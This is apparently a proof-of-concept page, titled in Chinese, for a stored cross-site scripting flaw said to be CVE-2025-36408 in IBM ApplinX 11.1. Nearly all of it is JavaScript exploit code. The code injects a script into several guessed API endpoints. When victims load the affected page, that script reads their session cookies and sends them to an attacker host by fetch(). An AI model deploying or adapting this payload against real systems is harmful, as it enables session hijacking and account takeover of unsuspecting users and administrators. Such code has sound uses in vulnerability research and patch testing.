CVE-2025-36408 IBM ApplinX 11.1 存储型XSS漏洞

// CVE-2025-36408 PoC - Stored XSS in IBM ApplinX 11.1 Web UI // This PoC demonstrates how to inject and execute arbitrary JavaScript code // Step 1: Inject malicious JavaScript payload via vulnerable input field // Replace 'TARGET_URL' with the actual IBM ApplinX application URL const targetUrl = 'TARGET_URL'; // Payload that steals session cookies and sends to attacker server const xssPayload = `<script> // Steal cookies and send to attacker server var cookies = document.cookie; var attackerServer = 'https://attacker.com/collect'; // Send stolen data via GET request fetch(attackerServer + '?data=' + btoa(cookies) + '&location=' + encodeURIComponent(window.location.href)) .then(response => console.log('Exfiltrated successfully')) .catch(err => console.error('Error:', err)); </script>`; // Step 2: Send the payload to the vulnerable endpoint // Example: User profile settings or application configuration fields async function exploitXSS() { const endpoints = [ '/applinx/api/user/profile', '/applinx/api/settings/description', '/applinx/api/applications/notes' ]; for (const endpoint of endpoints) { try { const response = await fetch(targetUrl + endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer YOUR_AUTH_TOKEN' }, body: JSON.stringify({ 'description': xssPayload, 'name': 'Test Application' }) }); if (response.ok) { console.log('Payload sent to:', endpoint); } } catch (error) { console.error('Error targeting:', endpoint, error); } } } // Step 3: Verify the XSS is stored and executed // When admin or other users visit the affected page, the script executes automatically console.log('XSS Payload Injected Successfully'); console.log('Waiting for victims to visit the affected page...');